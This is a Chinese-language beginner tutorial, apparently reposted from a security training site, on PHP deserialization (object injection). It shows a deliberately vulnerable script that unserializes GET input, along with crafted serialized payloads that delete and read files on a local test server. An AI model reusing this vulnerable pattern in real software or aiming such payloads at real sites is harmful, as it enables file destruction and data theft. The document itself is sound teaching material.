技术分享php反序列化漏洞初探
Posted 四叶草网络安全学院
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术分享php反序列化漏洞初探相关的知识,希望对你有一定的参考价值。
一、基本介绍
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
php序列化的函数为serialize。反序列化的函数为unserialize。
php反序列化漏洞又称php对象注入漏洞,是一个php非常常见的漏洞,但是这些漏洞非常难利用,但依旧存在危险。
二、测试过程
在1.php中创建一个类,类中定义一个变量,一个函数用来输出成员变量
<?php
class TestClass{
public $str = 'test';
public function printStr(){
echo $this->str;
}
}
$test = new TestClass();
$test->printStr();
?>
在php类中,会存在一些默认的函数,称为magic函数,比如有默认的构造函数(construct),析构函数(destruct),totring函数(在对象被当做字符串时自动被调用)等等。在2.php中加入上述函数:
<?php
class TestClass{
public $str = 'test';
public function __construct(){
echo 'construct <br />';
}
public function __destruct(){
echo 'desstruct <br />';
}
public function __toString(){
return 'toString <br />';
}
public function printStr(){
echo $this->str.'<br />';
}
}
$test = new TestClass();
$test->printStr();
echo $test;
?>
我们都知道,php的类语法与C++有着些许相同之处,但是不同的是,C++的类对象在程序结束会被销毁,但是在php中一个类对象可以留着下次使用,这就被称为序列化。但是如何实现呢,因为对象在前面程序析构掉了,所以就有serialize这个函数可将对象变成字符串进行保存,下次使用时,可用unserialize将字符串变为对象。3.php如下:
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
$usr = new User();
$usr->age = 20;
$usr->name = 'John';
$usr->PrintData();
echo serialize($usr);
?>
在4.php中用unserialize重建对象
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . 'years old. <br />';
}
}
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
$usr->PrintData();
?>
在magic函数中,还有一些函数是在序列化和反序列化时调用,例如sleep和wakeup
在5.php中加入
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
public function __sleep(){
echo 'sleep <br />';
return array('age','name');
}
public function __wakeup(){
echo 'wakeup <br />';
}
}
$usr1 = new User();
$usr1->age = 20;
$usr1->name = 'John';
$usr1->PrintData();
$serialize = serialize($usr1);
echo $serialize.'<br />';
$usr2 = unserialize($serialize);
$usr2->PrintData();
?>
上面我们了解了序列化与反序列化的过程,那么该如何利用呢?例如,我们在web程序源代码中找到一个logfile.php:
<?php
class Logfile
{
public $filename = 'error.log';
public function LogData($text)
{
echo 'log some data: '. $text . '<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
public function __destruct()
{
echo '__destruct deletes "'.$this->filename.'"file.<br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
这个类是将日志储存到文件中,待程序结束时自动调用__destruct函数删除日志文件。在其他代码中,可能会看到反序列化的调用,并且参数可控,例如test.php
<?php
include 'logfile.php';
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $age = 0;
public $name = '';
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
$obj = unserialize($_GET['usr_serialized']);
echo $obj;
?>
创建利用代码111.php
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = '1.txt';
echo serialize($obj) . '<br />';
?>
在这里,我创建了一个1.txt,访问111.php之后
提示1.txt已删除,查看文件果然删除了
我们访问http://127.0.0.1/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
我们在文件夹内创建一个123.txt
创建利用代码123.php
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '123.txt';
echo serialize($fileobj);
?>
接下来我们访问http://127.0.0.1/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:7:"123.txt";}
成功读取123.txt的内容
以上是关于技术分享php反序列化漏洞初探的主要内容,如果未能解决你的问题,请参考以下文章